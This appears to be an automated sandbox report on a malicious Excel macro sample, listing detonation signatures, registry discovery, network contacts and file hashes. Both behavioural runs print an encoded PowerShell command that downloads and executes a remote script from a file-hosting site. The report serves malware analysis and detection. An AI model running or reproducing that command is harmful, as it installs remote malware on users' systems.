Malware Analysis Report

2025-03-15 07:56

Sample ID 240808-1scq8szhll
Target ec431ebefa36dd371f2edb37a503cdff0334977684c33e246c45637b007bc5e8
SHA256 ec431ebefa36dd371f2edb37a503cdff0334977684c33e246c45637b007bc5e8
Tags
discovery macro macro_on_action
score
10/10

Table of Contents

Analysis Overview

MITRE ATT&CK

Enterprise Matrix V15

Analysis: static1

Detonation Overview

Signatures

Analysis: behavioral1

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis: behavioral2

Detonation Overview

Command Line

Signatures

Processes

Network

Files

Analysis Overview

score
10/10

SHA256

ec431ebefa36dd371f2edb37a503cdff0334977684c33e246c45637b007bc5e8

Threat Level: Known bad

The file ec431ebefa36dd371f2edb37a503cdff0334977684c33e246c45637b007bc5e8 was found to be: Known bad.

Malicious Activity Summary

discovery macro macro_on_action

Process spawned unexpected child process

Office macro that triggers on suspicious action

Suspicious Office macro

Blocklisted process makes network request

Deletes itself

System Location Discovery: System Language Discovery

Office loads VBA resources, possible macro or embedded object present

NTFS ADS

Suspicious use of SetWindowsHookEx

Checks processor information in registry

Suspicious use of AdjustPrivilegeToken

Suspicious use of WriteProcessMemory

Enumerates system info in registry

Suspicious behavior: EnumeratesProcesses

Suspicious behavior: AddClipboardFormatListener

Suspicious behavior: RenamesItself

MITRE ATT&CK

Analysis: static1

Detonation Overview

Reported

2024-08-08 21:54

Signatures

Suspicious Office macro

macro
Description Indicator Process Target
N/A N/A N/A N/A

Analysis: behavioral1

Detonation Overview

Submitted

2024-08-08 21:54

Reported

2024-08-08 21:55

Platform

win7-20240705-en

Max time kernel

23s

Max time network

18s

Command Line

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ec431ebefa36dd371f2edb37a503cdff0334977684c33e246c45637b007bc5e8.xls

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

System Location Discovery: System Language Discovery

discovery
Description Indicator Process Target
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A
Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Office loads VBA resources, possible macro or embedded object present

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

NTFS ADS

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Temp\E5E67F00\:Zone.Identifier:$DATA C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious behavior: RenamesItself

Description Indicator Process Target
N/A N/A C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE

"C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\ec431ebefa36dd371f2edb37a503cdff0334977684c33e246c45637b007bc5e8.xls

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADEAMwA3ADkANAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""

Network

Country Destination Domain Proto
US 8.8.8.8:53 tmpfiles.org udp
US 172.67.195.247:443 tmpfiles.org tcp

Files

memory/2680-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

memory/2680-1-0x00000000728AD000-0x00000000728B8000-memory.dmp

memory/2680-6-0x00000000065E0000-0x00000000066E0000-memory.dmp

memory/2680-7-0x00000000065E0000-0x00000000066E0000-memory.dmp

memory/2680-15-0x00000000728AD000-0x00000000728B8000-memory.dmp

memory/2680-16-0x00000000065E0000-0x00000000066E0000-memory.dmp

memory/2680-17-0x00000000065E0000-0x00000000066E0000-memory.dmp

Analysis: behavioral2

Detonation Overview

Submitted

2024-08-08 21:54

Reported

2024-08-08 21:55

Platform

win10v2004-20240802-en

Max time kernel

46s

Max time network

37s

Command Line

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ec431ebefa36dd371f2edb37a503cdff0334977684c33e246c45637b007bc5e8.xls"

Signatures

Process spawned unexpected child process

Description Indicator Process Target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

Blocklisted process makes network request

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Office macro that triggers on suspicious action

macro macro_on_action
Description Indicator Process Target
N/A N/A N/A N/A

Deletes itself

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Checks processor information in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Enumerates system info in registry

Description Indicator Process Target
Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A
Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

NTFS ADS

Description Indicator Process Target
File created C:\Users\Admin\AppData\Local\Temp\95F75E00\:Zone.Identifier:$DATA C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: AddClipboardFormatListener

Description Indicator Process Target
N/A N/A C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A

Processes

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE

"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ec431ebefa36dd371f2edb37a503cdff0334977684c33e246c45637b007bc5e8.xls"

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAcwA6AC8ALwB0AG0AcABmAGkAbABlAHMALgBvAHIAZwAvAGQAbAAvADEAMAA4ADEAMwA3ADkANAAvAGUAeABwAGwAbwBpAHQALgBqAHAAZwAnACkAOwBvAGEAdwBuAGQAdQBhAHcAZABuAG4AaABuADkAMgA4ADMAaAAxADkAMgAxAG4AYQB3AG8AZABhAG4AZgBpAGEAdwBiAGQAbgBpAHUAZgBiAG4AYQBpAGQAdwB1AGEAaQBmAHUAYQBiAGkAdQBmAGIAYQBpAHUAZABiAGgAagBhAHcAZABiAGEAZgBoAGoA""

Network

Country Destination Domain Proto
US 8.8.8.8:53 46.28.109.52.in-addr.arpa udp
US 8.8.8.8:53 tmpfiles.org udp
US 8.8.8.8:53 4.159.190.20.in-addr.arpa udp
US 172.67.195.247:443 tmpfiles.org tcp
US 8.8.8.8:53 240.143.123.92.in-addr.arpa udp
US 8.8.8.8:53 247.195.67.172.in-addr.arpa udp
US 8.8.8.8:53 28.173.189.20.in-addr.arpa udp
US 8.8.8.8:53 50.23.12.20.in-addr.arpa udp
US 8.8.8.8:53 206.23.85.13.in-addr.arpa udp
US 8.8.8.8:53 71.190.18.2.in-addr.arpa udp

Files

memory/2960-0-0x00007FFA6E490000-0x00007FFA6E4A0000-memory.dmp

memory/2960-2-0x00007FFA6E490000-0x00007FFA6E4A0000-memory.dmp

memory/2960-1-0x00007FFA6E490000-0x00007FFA6E4A0000-memory.dmp

memory/2960-4-0x00007FFAAE4AD000-0x00007FFAAE4AE000-memory.dmp

memory/2960-3-0x00007FFA6E490000-0x00007FFA6E4A0000-memory.dmp

memory/2960-5-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp

memory/2960-10-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp

memory/2960-11-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp

memory/2960-12-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp

memory/2960-9-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp

memory/2960-13-0x00007FFA6BBC0000-0x00007FFA6BBD0000-memory.dmp

memory/2960-8-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp

memory/2960-14-0x00007FFA6BBC0000-0x00007FFA6BBD0000-memory.dmp

memory/2960-7-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp

memory/2960-6-0x00007FFA6E490000-0x00007FFA6E4A0000-memory.dmp

memory/2960-15-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp

memory/2960-17-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp

memory/2960-16-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp

memory/2960-31-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp

memory/2960-49-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp

memory/2960-48-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4mc0dgew.nfp.ps1

MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

memory/3048-64-0x00000256B6E90000-0x00000256B6EB2000-memory.dmp

C:\Users\Admin\AppData\Local\Temp\ec431ebefa36dd371f2edb37a503cdff0334977684c33e246c45637b007bc5e8.xls

MD5 287ea68e88384d32923b41c739483f40
SHA1 bd2b231f14ab9328fcd350ea09427d3f57fdc41c
SHA256 9f01dc1fb48508c9b0a229c0076e4d36cebda06eb802c40f8cdf983c8653f07e
SHA512 ea0cf3e91af2124d2b786671b04ea887f307b8384bf46fa0e4cd85da8eade4fcbe26e4cf08b9a19a595bbccb2d67c81b5b385d970037f1a4a67855ae5b760c4f

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

MD5 99401428b89b7e9897e65f29c790e7e6
SHA1 5cffffedf2606c82ef063ed9560c1e9b667812ea
SHA256 c151dfb0a72774d13ee7a6576bd2cb024eee52799b1a68f8d8f355c91f0b2f24
SHA512 14849a1d19d899b757a3148507c2e7e2ca27a67d03707f6bede5ba7017b4b25860ee10bbdafc46b4f499db6025a9b20fdf3fcbdca46102712cc7709633c54a0e

memory/2960-83-0x00007FFAAE410000-0x00007FFAAE605000-memory.dmp